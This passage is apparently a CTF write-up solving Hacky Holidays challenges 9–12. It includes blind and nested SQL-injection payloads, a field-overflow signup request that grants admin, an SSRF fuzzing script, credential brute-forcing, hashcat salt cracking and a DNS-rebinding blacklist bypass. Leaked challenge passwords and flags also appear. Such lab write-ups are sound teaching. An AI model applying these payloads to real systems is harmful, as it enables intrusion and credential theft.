name=1' OR (select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1) like 'username'#
leaks column-2 = ‘username’ - username =
name=1' OR (select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1) like 'password'#
leaks column-3 = ‘password’
- username =
- 1st entry of the table admin =>
username=admin
password=S3creT_p4ssw0rd-$
- username =
' OR (select username from admin)="admin"#
leaks username=’admin’ - username =
' OR (select password from admin)= "S3creT_p4ssw0rd-$" #
leaks password=’S3creT_p4ssw0rd-$’
- username =
Simply log-in into admin console from https://hackyholidays.h1ctf.com/evil-quiz/admin using username=admin
and password=S3creT_p4ssw0rd-$
, and get the flag
FLAG-9: flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
Signup Manager : Flag-10
Description:
1
2
3
You've made it this far! The grinch is recruiting for his army to ruin the holidays but they're very picky on who they let in!
Challenge-URL: https://hackyholidays.h1ctf.com/signup-manager
Understanding the web-app
There isn’t really much functionality to the application. We have a register and login user functionality. Trying SQL-injection didn’t work in either login or register. After registering a user, we are redirected to https://hackyholidays.h1ctf.com/signup-manager without any functionality. So basically don’t have anything but register/login/logout.
Fuzzing/Recon
Directory brute-forcing https://hackyholidays.h1ctf.com/signup-manager/ we will get a README.md
file(https://hackyholidays.h1ctf.com/signup-manager/README.md) with the following content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# SignUp Manager
SignUp manager is a simple and easy-to-use script that allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.
### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password
Important observation includes:
- source code at https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip
- default user/pass = admin/password
- users.txt is used to store users info and there is no Database. Also, this file is not readable from web-root
Solution
Most important piece of code from source code is while registering a new user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function addUser($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( $username,15,"#");
$line .= $password;
$line .= $random_hash;
$line .= str_pad( $age,3,"#");
$line .= str_pad( $firstname,15,"#");
$line .= str_pad( $lastname,15,"#");
$line .= 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
}
The function creates a unique string by combining all the input from the user (username, password, age, firstname & lastname) into a single string and save it inside users.txt
. The following pic depicts how the above function represents a user in the users.txt file.
The goal is clear, we need to set the last byte which represents ADMIN to ‘Y’ instead of ‘N’.
If we can insert 1-extra byte anywhere before ADMIN
byte(last byte) and set lastname='NNNNNNNNNNNNNNY'
the overflow will cause the value of ADMIN='Y'
(each value shift’s 1 byte right, last byte of lastname becomes ADMIN’s byte value)
Most of the user input (username, password, firstname and lastname) are correctly stripped and constrained within 15 characters.
1 intersting property of integers in PHP is 100 === 1e2
. similary 1000 === 1e3
.
We have a limit on age to be within 3 characters and only 3 places are reserved for age in user string. So sending something like age=1e3
will evaluate age to 1000 (length=4, thus we get 1 extra character we needed).
So our exploit payload will have age=1e3
and lastname=NNNNNNNNNNNNNNY
.
1
2
3
4
5
6
POST /signup-manager/ HTTP/1.1
Host: hackyholidays.h1ctf.com
Content-Length: 107
action=signup&username=username007&password=password&age=1e3&firstname=firstname&lastname=NNNNNNNNNNNNNNY
Login with username=username007
& password=password
and we will be greeted with flag
FLAG-10: flag{99309f0f-1752-44a5-af1e-a03e4150757d}
There is also a URL on the solve page https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59 which currently says
come back tomorrow
. Probably for the next challenge
Flag-11
~No Description~ We can get the challenge URL after solving the 10th challenge.
1
Challenge Url: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59
Understanding the web-app
The app initially presents us with Photo albums for years 2018,2019 and 2020. There are 1-3 images in each album.
album-2020
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34kalbum-2019
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=59gropalbum-2018
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=3dir42
Photo’s in albums are fetched using the endpoint https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzliODgxYWY4YjMyZmYwN2Y2ZGFhZGE5NWZmNzBkYzNh…
- data parameter is base64 for JSON
1
{"image": "r3c0n_server_4fdk59/uploads/9b881af8b32ff07f6daada95ff70dc3a.jpg", "auth": "e934f4407a9df9fd272cdb9c397f673f"}
- Backend fetches the image in the JSON if the
auth
key matches. - Changing the image path will change the
auth
key in JSON and the backend will error.
There is also a login page at https://hackyholidays.h1ctf.com/attack-box/login
Fuzzing/Recon
Directory bruteforcing https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/ gives us following endpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>> sapra@Macbook-Pro $ ffuf -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ -e php -D -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ
:: Extensions : php
:: Matcher : Response status: 200
________________________________________________
api [Status: 200, Size: 2390, Words: 888, Lines: 54]
picture [Status: 200, Size: 21, Words: 3, Lines: 1]
We have 1 extra endpoint /api
. Visiting https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api tells different response codes app support:
1
2
3
4
5
200 Successful request with data returned
204 Successful request but with no data found
404 Invalid Endpoint
400 Invalid GET/POST variable
401 Unauthenticated Request or Invalid client IP
Furthur fuzzing /api/*
gives us 401 which is Unauthenticated Request or Invalid client IP
. So we need some kind of SSRF
to visit this endpoint.
On furthur fuzzing the endpoint https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k, we can confirm that it is vulnerable to sql-injection. POC:
- 200 OK:
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k' and true-- -
- 404 Not found:
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k' and false-- -
Here we can use sqlmap
tool to dump all the tables and values in it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
>> sapra@Macbook-Pro $ sqlmap -u "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k" --risk 3 --level 3 --dump
[01:25:57] [INFO] fetching current database
[01:25:57] [INFO] fetching tables for database: 'recon'
...
Database: recon
Table: album
[3 entries]
+----+--------+-----------+
| id | hash | name |
+----+--------+-----------+
| 1 | 3dir42 | Xmas 2018 |
| 2 | 59grop | Xmas 2019 |
| 3 | jdh34k | Xmas 2020 |
+----+--------+-----------+
...
Database: recon
Table: photo
[6 entries]
+----+----------+--------------------------------------+
| id | album_id | photo |
+----+----------+--------------------------------------+
| 1 | 1 | 0a382c6177b04386e1a45ceeaa812e4e.jpg |
| 2 | 1 | 1254314b8292b8f790862d63fa5dce8f.jpg |
| 3 | 2 | 32febb19572b12435a6a390c08e8d3da.jpg |
| 4 | 3 | db507bdb186d33a719eb045603020cec.jpg |
| 5 | 3 | 9b881af8b32ff07f6daada95ff70dc3a.jpg |
| 6 | 3 | 13d74554c30e1069714a5a9edda8c94d.jpg |
+----+----------+--------------------------------------+
...
- We have 2 tables
photo
andalbum
. album.id
isforeign-key
tophoto.album_id
. This simply means they are called in conjunction. A simple query of getting all photos withhash=3dir42
would look like
1
2
3
4
5
$album_hash='3dir42'; # This parameter will be coming from user which have our sql-injection
$album_id = "select id from album where id='${album_hash}'";
$photos = "select id,album_id,photo from photo where album_id='${album_id}'";
we can use injection at album_hash
to completely control what goes into $album_id
. $album_id
then goes into 2nd query, thus we can have injection in 2nd query also.
Sending something like https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-1' union select '2','x','x'-- -
would look like:
1
2
3
4
5
6
7
hash = -1' union select '2','x','x'-- -
QUERY-1:
select id, hash, name from album where id=-1' union select '2','x','x'-- -
Query-2 (id from above query will be album_id in this here which in this case = 2):
select id, album_id, photo from photo where album_id='2';
There is only 1 picture with album_id=2. The output of the above query 1 picture and thus we can confirm that we have 2 level injection.
Now because we can control 2nd query results too, our goal is to SSRF to /api/*
endpoint as found above. Following sql-injection should manipulate photo
location as we want.
URL: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-1' union select '-1\' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -','x','x'-- -
1
2
3
4
5
6
7
8
9
hash = -1' union select '-1\' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -','x','x'-- -
Query-1:
select id, hash, name from album where id=-1' union select '-1\' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -','x','x'-- -
Query-2
* album_id from above query => -1' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -
select id, album_id, photo from photo where album_id='-1' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -
The img URL https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC8uLlwvLi5cL3IzYzBuX3NlcnZlcl80ZmRrNTlcL2FwaVwvdGVzdCIsImF1dGgiOiI3MGI3Yzk0MjE1ZjE1YzYzNzA2N2RiOWU5YjFkZDFlMyJ9
containts base64 JSON
1
{"image": "r3c0n_server_4fdk59/uploads/../../../r3c0n_server_4fdk59/api/test", "auth": "70b7c94215f15c637067db9e9b1dd1e3"}
This successfully prooves that we can use sql-injection in 1st query to do sql-injection in 2nd query and manipulate the img-path to visit any URL we want.
Now we have SSRF, our next step should be to look for all interesting endpoints under /api/*
for which I wrote a python script to perform the above steps and fuzz for hidden endpoints
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def find(directory):
unhex = ("1' union select 1,2,'../api/"+directory.strip()+"'#").encode("hex")
url = """https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-1'+union+all+select+unhex("{}"),"x","x"--+-""".format(unhex)
r = requests.get(url).text
val = re.search("data=(.*cL3VwbG9hZHNcLy.*)\"", r).group(1)
x = requests.get("https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data="+val)
if "Received: 404" not in x.text:
print(x.text, directory)
return
directory_list = open("directory-fuzz.txt", "r").split("\n")
for directory in directory_list:
find(directory)
After running the above script for a while with different directories, we will have hit for 2 API endpoints
1
2
/user -> Invalid content type detected
/ping -> Invalid content type detected
Next we can try fuzzing for parameters these endpoints take. Sending something like
1
find("user/?name=1") # we get response 'Expected HTTP status 200, Received: 400'
Status 400 from API documentation means Invalid GET/POST variable
. Thus it means we have a way to find the parameters these endpoints accept. We can reuse the above script but for fuzzing parameters
this time.
1
2
3
parameters = open("parameters.txt", "r")
for parameter in parameters:
find(f"user/?{parameter}=1")
Above script reveal the following parameters:
1
2
/api/user has 2 parameters -> username, password
/api/ping has 0 parameters
A bit of fuzzing the parameter username and password reveals
- sending
username=%&password=%
returnsInvalid content type detected
- sending
username=%&password=ZZZ%
returnsExpected HTTP status 200, Received: 204
Seems like the SQL query behind looks like
1
select * from table where username like '$USERNAME' and password like '$PASSWORD'
where $USERNAME and $PASSWORD are user input.
As we can use ‘%’ in like
sql queries, we can use this slowly leak the credentials.
1
2
3
4
5
select * from table where username like 'a%' and password like '%'; <- 204
select * from table where username like 'b%' and password like '%'; <- 204
select * from table where username like 'c%' and password like '%'; <- 204
...
select * from table where username like 'g%' and password like '%'; <- HIT.. Invalid content type detected
solver-h1-ctf-flag-11.py is the python script to brute force username and password.
This gives username = grinchadmin
, password = s4nt4sucks
.
We can log in with these credentials at https://hackyholidays.h1ctf.com/attack-box/login and get the 11th flag
Flag-11: flag{07a03135-9778-4dee-a83c-7ec330728e72}
Flag-12
~No Description~ We can get the challenge URL after solving the 11th challenge.
1
Challenge Url: https://hackyholidays.h1ctf.com/attack-box
Understanding the web-app
Visiting https://hackyholidays.h1ctf.com/attack-box we are given 3 IP addresses and an option to attack them.
IP=203.0.113.33
: attack url =https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==
Attack url is base64 encoded JSON:
1
{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}
Visiting the attack URL seems like it tries to DDOS the target URL. Currently, I wasn’t really sure whats the end goal.
Fuzzing/Recon
Trying a Directory search doesn’t reveal any hidden directory. Changing the target IP address to some other value gives an error. Trying injections on the target
and hash
parameter of JSON didn’t work either.
I tried GitHub Dorking, google hacking, s3 brute force, and many other recon tricks, none worked.
Next immediate step I can think of trying to crack the hash. Having the ability to change target-IP should give us some SSRF. So let’s try to crack the hash.
Since the hash is 32 characters, it should me md5. Trying to md5 the target IP-address in JSON does not produce the same hash as there is, in payload JSON.
1
2
>> sapra@Mabook-pro $ echo -ne "203.0.113.33" | md5
d9405256f5b33442222fe92371f20bd7 # not same as hash in {"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}
That means there’s SALT
added to Target-IP
which basically is just some random word to make hashes more secure and non reversable. The hash can be formed in either of 2 ways:
- hash = “IP + SALT” OR
- hash = “SALT + IP”
hashcat support cracking both types of hashes as follows:
hashcat -m 10
FOR “SALT + IP”hashcat -m 20
FOR “IP + SALT”
1
2
3
4
>> sapra@Mabook-pro $ echo "5f2940d65ca4140cc18d0878bc398955:203.0.113.33" > salt-ip.hash
>> sapra@Mabook-pro $ echo "203.0.113.33:5f2940d65ca4140cc18d0878bc398955" > ip-salt.hash
>> sapra@Mabook-pro $ hashcat -m 10 -a 0 salt-ip.hash rockyou.txt --force
5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463
Ok great, we have a hit. The SALT
used to create the hash is mrgrinch463
. We can verify it as
1
2
>> sapra@Mabook-pro $ echo -ne 'mrgrinch463203.0.113.33' | md5
5f2940d65ca4140cc18d0878bc398955 # this is same as original hash {"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}
Lets try to change target ip to 127.0.0.1
1
2
3
4
5
6
>> sapra@Mabook-pro $ echo -ne 'mrgrinch463127.0.0.1' | md5
3e3f8df1658372edf0214e202acb460b
>> echo {"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"} | base64
eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQo=
We get Local target detected, aborting attack
. Seems like we need to attack localhost, but its not allowed. Trying few SSRF bypass tricks like
- using decimal IP
- Using Ipv6
- DNS-rebinding
- Using 302 redirect. …
I got DNS-rebinding working. Steps to reproduce:
- Goto https://lock.cmpxchg8b.com/rebinder.html . This service provides the host with two ‘A’ Records which we can configure as required. So I configured them as follows:
- 1st A record - 127.0.0.1
- 2nd A record - 8.8.8.8
- This gives me host:
http://7f000001.08080808.rbndr.us
. Visting this URL can either open8.8.8.8
or127.0.0.1
depending on what DNS server return. - create
hash
with the above host1 2
>> sapra@MacBook-Pro $ echo -ne 'mrgrinch4637f000001.08080808.rbndr.us' | md5 00830ee7e57f7d81ce889bd12a7cb0bd
- create base64 encoded JSON
1 2
>> sapra@Macbook-pro $ echo -ne {"target":"7f000001.08080808.rbndr.us","hash":"00830ee7e57f7d81ce889bd12a7cb0bd"} | base64 eyJ0YXJnZXQiOiI3ZjAwMDAwMS4wODA4MDgwOC5yYm5kci51cyIsImhhc2giOiIwMDgzMGVlN2U1N2Y3ZDgxY2U4ODliZDEyYTdjYjBiZCJ9
- visit https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiI3ZjAwMDAwMS4wODA4MDgwOC5yYm5kci51cyIsImhhc2giOiIwMDgzMGVlN2U1N2Y3ZDgxY2U4ODliZDEyYTdjYjBiZCJ9.
It might not work on first go, so visit the URL multiple times.
- DNS rebinding works on the logic of TOC-TOU(time of check, time of use). When checking the IP address against blacklist IP(127.0.0.1), the software makes a DNS query and gets IP=8.8.8.8.
- This passes the blacklist check and do an original request to
7f000001.08080808.rbndr.us
which then resolves to IP=127.0.0.1 - The attack is not 100% reliable because the DNS server can send any IP for the host so we need to run it multiple times
On successful exploitation, we will be redirected to https://hackyholidays.h1ctf.com/attack-box/challenge-completed-a3c589ba2709 completion page with the last flag.
FLAG-12: flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Aaaaaand we are done. SOLVED WHEEEE.
I really enjoyed solving all the challenges. They were really unique and fun to hack.
Written by Sapra.